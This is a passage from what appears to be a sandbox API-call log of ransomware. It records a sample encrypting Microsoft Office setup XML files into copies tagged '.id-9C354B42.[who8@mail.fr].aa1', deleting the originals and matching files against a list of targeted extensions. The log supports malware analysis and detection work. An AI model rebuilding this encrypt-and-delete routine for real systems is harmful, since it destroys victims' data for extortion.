(hObject=0x1fc) returned 1 [0209.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0209.689] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 1 [0209.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0209.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0209.689] lstrlenW (lpString=".doc") returned 4 [0209.689] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.689] lstrlenW (lpString=".docx") returned 5 [0209.689] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0209.689] lstrlenW (lpString=".pdf") returned 4 [0209.690] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.690] lstrlenW (lpString=".xls") returned 4 [0209.690] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.690] lstrlenW (lpString=".xlsx") returned 5 [0209.690] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0209.690] lstrlenW (lpString=".ppt") returned 4 [0209.690] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0209.690] lstrlenW (lpString=".zip") returned 4 [0209.690] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.690] lstrlenW (lpString=".rar") returned 4 [0209.690] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.690] lstrlenW (lpString=".bz2") returned 4 [0209.690] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.690] lstrlenW (lpString=".7z") returned 3 [0209.690] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0209.690] lstrlenW (lpString=".dbf") returned 4 [0209.690] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0209.690] lstrlenW (lpString=".1cd") returned 4 [0209.690] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0209.690] lstrlenW (lpString=".jpg") returned 4 [0209.690] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0209.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0209.691] lstrlenW (lpString=".doc") returned 4 [0209.691] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.691] lstrlenW (lpString=".docx") returned 5 [0209.691] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0209.691] lstrlenW (lpString=".pdf") returned 4 [0209.691] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.691] lstrlenW (lpString=".xls") returned 4 [0209.691] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.691] lstrlenW (lpString=".xlsx") returned 5 [0209.691] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0209.692] lstrlenW (lpString=".ppt") returned 4 [0209.692] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0209.692] lstrlenW (lpString=".zip") returned 4 [0209.692] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.692] lstrlenW (lpString=".rar") returned 4 [0209.692] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.692] lstrlenW (lpString=".bz2") returned 4 [0209.692] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.693] lstrlenW (lpString=".7z") returned 3 [0209.693] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0209.693] lstrlenW (lpString=".dbf") returned 4 [0209.693] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0209.693] lstrlenW (lpString=".1cd") returned 4 [0209.693] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0209.693] lstrlenW (lpString=".jpg") returned 4 [0209.694] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.694] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0209.695] lstrlenW (lpString="OutlookMUI.XML") returned 14 [0209.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0209.699] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=3186) returned 1 [0209.700] CloseHandle (hObject=0x1fc) returned 1 [0209.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20 [0209.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0209.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0209.700] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0209.701] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0209.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0209.710] GetLastError () returned 0x0 [0209.710] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0xc72, lpOverlapped=0x0) returned 1 [0209.741] WriteFile (in: hFile=0x164, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xc80, lpOverlapped=0x0) returned 1 [0209.742] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0209.742] WriteFile (in: hFile=0x164, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0209.742] SetEndOfFile (hFile=0x164) returned 1 [0209.742] CloseHandle (hObject=0x164) returned 1 [0209.747] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0209.747] SetEndOfFile (hFile=0x1fc) returned 1 [0209.748] CloseHandle (hObject=0x1fc) returned 1 [0209.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0209.749] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 1 [0209.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0209.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0209.750] lstrlenW (lpString=".doc") returned 4 [0209.750] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.750] lstrlenW (lpString=".docx") returned 5 [0209.750] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0209.750] lstrlenW (lpString=".pdf") returned 4 [0209.750] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.750] lstrlenW (lpString=".xls") returned 4 [0209.750] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.750] lstrlenW (lpString=".xlsx") returned 5 [0209.750] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0209.750] lstrlenW (lpString=".ppt") returned 4 [0209.750] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0209.750] lstrlenW (lpString=".zip") returned 4 [0209.750] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.750] lstrlenW (lpString=".rar") returned 4 [0209.750] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.750] lstrlenW (lpString=".bz2") returned 4 [0209.750] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.750] lstrlenW (lpString=".7z") returned 3 [0209.750] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0209.751] lstrlenW (lpString=".dbf") returned 4 [0209.751] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0209.751] lstrlenW (lpString=".1cd") returned 4 [0209.751] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0209.751] lstrlenW (lpString=".jpg") returned 4 [0209.751] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0209.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0209.751] lstrlenW (lpString=".doc") returned 4 [0209.751] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.751] lstrlenW (lpString=".docx") returned 5 [0209.751] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0209.751] lstrlenW (lpString=".pdf") returned 4 [0209.751] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.751] lstrlenW (lpString=".xls") returned 4 [0209.751] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.751] lstrlenW (lpString=".xlsx") returned 5 [0209.751] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0209.751] lstrlenW (lpString=".ppt") returned 4 [0209.751] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0209.751] lstrlenW (lpString=".zip") returned 4 [0209.751] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.751] lstrlenW (lpString=".rar") returned 4 [0209.751] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.751] lstrlenW (lpString=".bz2") returned 4 [0209.751] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.751] lstrlenW (lpString=".7z") returned 3 [0209.752] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0209.752] lstrlenW (lpString=".dbf") returned 4 [0209.752] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0209.752] lstrlenW (lpString=".1cd") returned 4 [0209.752] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0209.752] lstrlenW (lpString=".jpg") returned 4 [0209.752] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.752] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0209.752] lstrlenW (lpString="SETUP.XML") returned 9 [0209.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0210.062] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=4207) returned 1 [0210.063] CloseHandle (hObject=0x1dc) returned 1 [0210.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20 [0210.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0210.063] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0210.063] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0210.063] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0210.063] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0210.064] GetLastError () returned 0x0 [0210.064] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x106f, lpOverlapped=0x0) returned 1 [0210.923] WriteFile (in: hFile=0x200, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x1070, lpOverlapped=0x0) returned 1 [0211.074] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0211.075] WriteFile (in: hFile=0x200, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0211.075] SetEndOfFile (hFile=0x200) returned 1 [0211.075] CloseHandle (hObject=0x200) returned 1 [0211.075] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.075] SetEndOfFile (hFile=0x1dc) returned 1 [0211.076] CloseHandle (hObject=0x1dc) returned 1 [0211.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0211.076] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 1 [0211.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0211.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0211.076] lstrlenW (lpString=".doc") returned 4 [0211.076] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.076] lstrlenW (lpString=".docx") returned 5 [0211.076] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0211.077] lstrlenW (lpString=".pdf") returned 4 [0211.077] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.077] lstrlenW (lpString=".xls") returned 4 [0211.077] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.077] lstrlenW (lpString=".xlsx") returned 5 [0211.077] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0211.077] lstrlenW (lpString=".ppt") returned 4 [0211.077] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0211.077] lstrlenW (lpString=".zip") returned 4 [0211.077] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.077] lstrlenW (lpString=".rar") returned 4 [0211.077] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.077] lstrlenW (lpString=".bz2") returned 4 [0211.077] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.077] lstrlenW (lpString=".7z") returned 3 [0211.077] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0211.077] lstrlenW (lpString=".dbf") returned 4 [0211.077] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0211.077] lstrlenW (lpString=".1cd") returned 4 [0211.077] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0211.077] lstrlenW (lpString=".jpg") returned 4 [0211.077] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0211.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0211.078] lstrlenW (lpString=".doc") returned 4 [0211.078] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.078] lstrlenW (lpString=".docx") returned 5 [0211.078] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0211.078] lstrlenW (lpString=".pdf") returned 4 [0211.078] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.078] lstrlenW (lpString=".xls") returned 4 [0211.078] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.078] lstrlenW (lpString=".xlsx") returned 5 [0211.078] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0211.078] lstrlenW (lpString=".ppt") returned 4 [0211.078] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0211.078] lstrlenW (lpString=".zip") returned 4 [0211.078] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.078] lstrlenW (lpString=".rar") returned 4 [0211.078] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.078] lstrlenW (lpString=".bz2") returned 4 [0211.078] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.078] lstrlenW (lpString=".7z") returned 3 [0211.078] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0211.078] lstrlenW (lpString=".dbf") returned 4 [0211.078] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0211.079] lstrlenW (lpString=".1cd") returned 4 [0211.079] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0211.079] lstrlenW (lpString=".jpg") returned 4 [0211.079] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.079] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0211.079] lstrlenW (lpString="ProPlusrWW.XML") returned 14 [0211.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0211.183] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=16852) returned 1 [0211.183] CloseHandle (hObject=0x1dc) returned 1 [0211.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 0x20 [0211.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0211.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0211.183] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.183] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 